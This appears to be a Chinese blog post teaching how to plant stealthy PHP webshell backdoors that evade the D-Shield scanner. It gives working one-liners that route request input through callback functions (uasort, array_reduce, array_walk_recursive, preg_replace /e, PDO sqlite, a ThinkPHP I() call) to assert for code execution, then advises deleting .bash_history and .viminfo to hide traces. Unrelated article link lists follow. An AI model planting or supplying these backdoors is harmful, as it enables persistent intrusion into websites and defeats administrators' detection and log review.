整理大部分来源信安之路

对于隐蔽来说,有以下几点要素:

1、熟悉环境,模拟环境,适应环境,像一只变色龙一样隐藏

2、清除痕迹,避免运维发现

3、避免后门特征值被 D 盾等工具检测到

姿势

一般过狗思路

最一般的绕狗、后门思路就是

call_user_func('assert', $_REQUEST['pass'])

直接参数回调,将$_REQUEST['pass']传入的数据,传递给 assert 函数去执行。

双参数回调后门

在 PHP5.4.8+ 版本中,assert 有一个新的可选参数 descrition。所以较于之前的 PHP 版本,我们可以使用一些新的方式去进行调用,这些新的方式也暂时还没有添加到D盾的特征匹配中。

Talk is cheap show me the code~

<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

$_REQUEST['e'] 的话,传递 GET 或者 POST 参数都可以。

uasort 函数在手册里这样定义:

如果我们传入的比较函数是 assert 的话,就会产生代码执行。

先将参数保存为一个数组,传入 'assert' 的 base64 编码,使用 uasort 函数调用即可。

由此方法引申出的姿势有:

一. 换为 uksort 函数:

<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1, $_REQUEST['pass'] =>2);
uksort($arr, $e);

二. 面向对象的方法:

<?php
// way 0
$arr=new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert'); // way 1
$arr=new ArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
$arr->uksort('assert');

三. array_reduce

<?php
$e=$_REQUEST['e'];
$arr=array(1);
array_reduce($arr, $e, $_POST['pass']);

四. array_udiff

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $e);

三参数回调后门(array_walk_recursive)

上面的函数都是两个参数,然后回调指定函数的,下面还有3个参数的:

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass'] =>'|.*|e',);
array_walk_recursive($arr, $e, '');

这段代码的最终效果是回调名字为 $e 的函数,$arr 数组中的$_POST[pass](键)作为回调函数的第一个参数,'|.*|e'作为第二个参数。''作为第三个参数。

有哪些函数是可以三个参数并且代码执行or命令执行的呢?

最最常见的:preg_replace 函数在 e 修饰符条件下可以进行命令执行,原理可以看这个文章:

http://0day5.com/archives/4016/

最后的效果为:

preg_replace('|.*|e', '你的命令', '');

但 preg_replace 并不能直接用,因为 D 盾会将它作为特征值去检测,我们可以换一些其它效果类似的函数:

mb_ereg_replace
preg_filter

sqlite 回调后门

如果可以使用 PDO 的话,可以用 sqlite 的 PDO 来执行代码

<?php
$db=new PDO('sqlite::memory:');
$st=$db->query("SELECT 'phpinfo()'");
$re=$st->fetch
?>

隐蔽性满满的~

反序列化后门

之前说了要适应环境,增强隐蔽性,所以可以根据目标代码,去添加一些恶意类,然后用反序列化漏洞来传递命令,并且可以通过捏造可信度比较高的的类名,在 index.php 中就直接引用,更不容易被发现。

传输过程中,还可以进行一些加密、混淆操作,来绕过waf端检测。

思路可参照,前一阵子 typecho 爆出的反序列化漏洞:

https://www.th1s.cn/index.php/2017/10/25/138.html

thinkphp 特征后门

thinkphp 的自带方法中,存在可以作为后门的 I 函数

具体代码逻辑比较复杂,有兴趣的同学可以移步P神的文章

https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

只要在可访问的地方,加上一行代码:

I('post.ph0rse','',I('get.i'));

就可以传递 GET 参数:i=assert, POST 参数 ph0rse=你的命令

并且可以远连菜刀~

同样,通过审计,在其它开源框架中其实也可以发现类似的留后门技巧。直接调用源类库里的方法,再稍微加一点混淆和加密,就很难被发现了。

后话

真正的后门,要靠系统层

对于 PHP 后门来说,如果能做到隐蔽性,不会被D盾等工具自动检测出来。人工查看时,一时半会儿也看不出有问题,其实就够了。

受限于运维的日志审查,通过 PHP 去进行后渗透不太现实,PHP 后门最大的意义在于,留有一个通道。等其它通道关闭或者网站迁移(总要移代码吧)时,能够维持对目标站的控制。

而真正的后渗透操作,还是要考系统层的其它技巧,比如 shift 后门,ssh 后门,注册表木马等等~这些都是后话了~

擦除痕迹

想要让后面隐蔽,除了以上几点,还要清理好文件操作的痕迹。在 Linux 下就是删除 .bash_history 和 .viminfo 的记录,这些记录显示了你前段时间执行了哪些命令,修改了哪些文本。

而在 windows 下,就是在注册表中做一些操作~

奇淫异巧之 PHP 后门的更多相关文章

  1. 你可能不知道的 docker 命令的奇淫怪巧

    你可能不知道的 docker 命令的奇淫怪巧 Intro 介绍并收录一些可能会用到的一些简单实用却很少有人用的 docker 命令 dangling images build 自己的 docker 镜 ...

  2. 奇淫怪巧之在Delphi中调用不申明函数

    前一阵子,研究了一段时间的Win32Asm,研究到后来发现Win32的ASM实际上还是和C版的介绍的一样.甚至还封装了一个简版的类似VCL库结构框架的32ASM结构库,不过搞着搞着就没兴趣了,也没继续 ...

  3. [asp.net mvc 奇淫巧技] 02 - 巧用Razor引擎在Action内生成Html代码

    在web开发中经常会遇到在内部代码中获取Html,这些Html是需要和数据进行一起渲染.并不是直接把Html代码返回给客户端.这样的做法有很多应用场景,例如分页.Ajax一次性获取几段Html片段.生 ...

  4. Matlab流体后处理中的奇淫巧术总结

    Matlab流体后处理中的奇淫巧术总结 主要参考\demos\volvec.m示例 1.等值面绘制 %% Isosurface of MRI Data cla load mri D = squeeze ...

  5. [asp.net mvc 奇淫巧技] 01 - 封装上下文 - 在View中获取自定义的上下文

    我们在asp.net 开发中已经封装了最强大的HttpContext,我们可以在HttpContext中可以获取到几乎任何想获取的东西,也可以在HttpContext写入需要返回客户端的信息.但是这些 ...

  6. powerdesigner奇淫技

    在日常开发中数据库的设计常常需要建立模型,而powerdesigner是个不错的选择.但很多时候用powerdesigner生成模型后再去创建表结构,会觉得烦和别扭.那么能不能数据库表建好后再生成模型 ...

  7. [asp.net mvc 奇淫巧技] 03 - 枚举特性扩展解决枚举命名问题和支持HtmlHelper

    一.需求 我们在开发中经常会遇到一些枚举,而且这些枚举类型可能会在表单中的下拉中,或者单选按钮中会用到等. 这样用是没问题的,但是用过的人都知道一个问题,就是枚举的命名问题,当然有很多人枚举直接中文命 ...

  8. [asp.net mvc 奇淫巧技] 04 - 你真的会用Action的模型绑定吗?

    在QQ群或者一些程序的交流平台,经常会有人问:我怎么传一个数组在Action中接收.我传的数组为什么Action的model中接收不到.或者我在ajax的data中设置了一些数组,为什么后台还是接收不 ...

  9. [asp.net mvc 奇淫巧技] 05 - 扩展ScriptBundle,支持混淆加密javascript

    一.需求: 在web开发中,经常会处理javascript的一些问题,其中就包括js的压缩,合并,发布版本以及混淆加密等等问题.在asp.net 开发中我们使用ScriptBundle已经可以解决ja ...

随机推荐

  1. 微软发布.Net Core 3.0 RC1,最终版本定于9月23日

    2019.9.17 微软 宣布推出.NET Core 3.0 Release Candidate 1.就像Preview 9一样,主要专注于为 .NET Core 3.0 发布最终版本 .现在变得非常 ...

  2. CentOS在VMware中的安装

    1.启动VMware 2.新建一台虚拟机,选择典型 3.选择稍后安装操作系统 4.选择引导系统为Linux,系统版本为Centos 5.选择安装位置 6.选择最大磁盘容量 7.点击自定义硬件,进行硬件 ...

  3. 使用gcc不同选项来编译查看中间生成文件

    gcc编译C程序的总体流程如下图 用到的命令如下: .c---> .i gcc -E hello.c .c--->.s gcc -S hello.c .c--->.o gcc -c ...

  4. Spring Boot2 系列教程(七)理解自动化配置的原理

    Spring Boot 中的自动化配置确实够吸引人,甚至有人说 Spring Boot 让 Java 又一次焕发了生机,这话虽然听着有点夸张,但是不可否认的是,曾经臃肿繁琐的 Spring 配置确实让 ...

  5. [C++] 重载new和delete——控制内存分配

      1.new和delete表达式的工作机理      1)new表达式实际执行了三步 string *sp=new string("aaaa"); ];//string采用默认初 ...

  6. Oracle中RMAN基本命令教程

    一.target--连接数据库 1.本地: [oracle@oracle ~]$ rman target / 2.远程: [oracle@oracle ~]$ rman target sys/orac ...

  7. Vue.js+vue-element搭建属于自己的后台管理模板:什么是Vue.js?(一)

    Vue.js+vue-element搭建属于自己的后台管理模板:Vue.js是什么?(一) 前言 本教程主要讲解关于前端Vue.js框架相关技术知识,通过学习一步一步学会搭建属于自己的后台管理模板,并 ...

  8. 23种设计模式之单例(Singleton Pattern)

    单例 在软件系统中,经常有这样一些特殊的类,必须保证它们在系统中只存在一个实例(eg:应对一些特殊情况,比如数据库连接池(内置了资源)  全局唯一号码生成器),才能确保它们的逻辑正确性.以及良好的效率 ...

  9. (java实现)单向循环链表

    什么是单向循环链表 单向循环链表基本与单向链表相同,唯一的区别就是单向循环链表的尾节点指向的不是null,而是头节点(注意:不是头指针). 因此,单向循环链表的任何节点的下一部分都不存在NULL值. ...

  10. redis-分布式锁-消除竞争条件

    因为信号量的设计过程中,获取一个信号量需要执行多个命令组成的流水,这样容易形成竞争条件. 为了消除信号量实现中所有可能出现的竞争条件,构建一个正确的计数信号量,需要在 信号量时,添加带有短暂超时时间的 ...